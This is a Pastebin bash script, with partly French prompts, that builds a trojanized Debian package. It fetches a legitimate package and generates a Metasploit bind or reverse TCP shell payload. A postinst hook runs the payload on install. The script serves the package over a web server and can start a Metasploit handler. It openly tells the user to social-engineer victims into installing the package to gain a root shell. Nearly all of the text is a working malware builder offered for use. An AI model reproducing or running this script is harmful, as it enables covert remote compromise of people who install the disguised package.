Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Script to generate a Debian (.deb) package trojan using Metasploit payload
- # Dev By Dilate and engineer by Alg3ri4n
- scriptname=`basename "$0"`
- if [[ $UID -ne 0 ]]; then
- echo "${scriptname} must be run as root"
- exit 1
- fi
- #
- echo
- echo "#####################################################################"
- echo " Script To Generate Malware for Linux "
- echo " Fuck Lamer'z "
- echo "#####################################################################"
- echo
- echo "Nous vous rappelons que ce script a été coder pour backtrack 5"
- echo "Nous vous rappelons également que toute copie est interdite"
- echo "Nous ne sommes pas responsables de vos actes apres avoir acheter ce script"
- echo " ____ ____ ____ ____ ____ ____
- ||d |||i |||l |||a |||t |||e ||
- ||__|||__|||__|||__|||__|||__||
- |/__\|/__\|/__\|/__\|/__\|/__\|"
- # Dossier metasploit
- msfdir="/opt/framework/msf3/"
- tmpdir="/tmp/evildeb"
- workdir="$tmpdir/work"
- # Package
- echo "Entrez Le nom du paquet a installer avec le malware ! "
- echo "Utilisez apt-cache search pour avoir des idées de paquets"
- echo
- read package
- apt-get --download-only install $package
- echo
- mkdir $tmpdir
- mkdir $workdir
- mv /var/cache/apt/archives/$package* $tmpdir
- mkdir $workdir/DEBIAN
- dpkg -x $tmpdir/$package* $workdir
- apt-cache show $package > $workdir/DEBIAN/control
- cat $workdir/DEBIAN/control | sed '/^Original-Maintainer/d' | sed '/^SHA/d' > $workdir/DEBIAN/control2
- mv $workdir/DEBIAN/control2 $workdir/DEBIAN/control
- echo
- echo "Choisisez votre Payload"
- echo "-------------------------------------"
- echo
- echo "1. bind tcp"
- echo "2. reverse tcp"
- echo
- echo "Appuyer sur le nombre:"
- read choice
- if [ "$choice" -eq 1 ]; then
- payload="linux/x86/shell/bind_tcp"
- echo "Enter IP:"
- read rhostIP
- echo "Enter port:"
- read bindport
- options="RHOST=$rhostIP LPORT=$bindport"
- else
- if [ "$choice" -eq 2 ]; then
- payload="linux/x86/shell/reverse_tcp"
- echo "Enter IP:"
- read lhostIP
- echo "Enter port:"
- read revport
- options="LHOST=$lhostIP LPORT=$revport"
- fi
- fi
- echo
- echo "Please enter the filename for the Metasploit payload:"
- read filename
- echo
- cd $workdir
- binary=`find . -executable -type f | grep $package | sed -e 's/^.//'`
- trojan="$filename"
- echo "Generation du Malware"
- echo
- echo "#!/bin/sh" > $workdir/DEBIAN/postinst
- echo "" >> $workdir/DEBIAN/postinst
- echo "" >> $workdir/DEBIAN/postinst
- echo "sudo chmod 2755 $binary$trojan && $binary$trojan & $binary &" >> $workdir/DEBIAN/postinst
- trojan2=`echo $binary$trojan | sed -e 's/^\///'`
- echo "Merci Generation Du payload ..."
- $msfdir/msfpayload $payload $options X > $workdir/$trojan2
- echo
- cd $workdir/DEBIAN
- chmod 755 postinst
- dpkg-deb --build $workdir
- cd $tmpdir
- echo
- echo "Entrez Votre WEB directory exemple: /var/www/:"
- read webroot
- mv $tmpdir/work.deb $webroot/$package.deb
- rm -rf $tmpdir
- echo
- echo "Trojan'd $package.deb generer et deplacer dans $webroot"
- echo
- webserver="python -m SimpleHTTPServer 80"
- echo "voulez vous un webserver ? (y/n) :"
- read svr
- echo
- if [[ "$svr" == "y" || "$svr" == "Y" ]]; then
- cd $webroot
- $webserver &
- echo
- else
- echo "installation de votre own webserver :)"
- echo
- fi
- sleep 1
- echo "Would you like me to setup a metasploit handler ? (y/n) :"
- echo
- read handler
- echo
- echo "In the meantime, social engineer your victim in to browsing to your package"
- echo "and get them to install it and wait for your root shell >)"
- echo
- if [[ "$handler" == "y" || "$handler" == "Y" ]]; then
- echo
- $msfdir/msfcli exploit/multi/handler payload=$payload $options E
- else
- echo "Fair nuff, setup your own handler :)"
- echo
- fi
Advertisement
Add Comment
Please, Sign In to add comment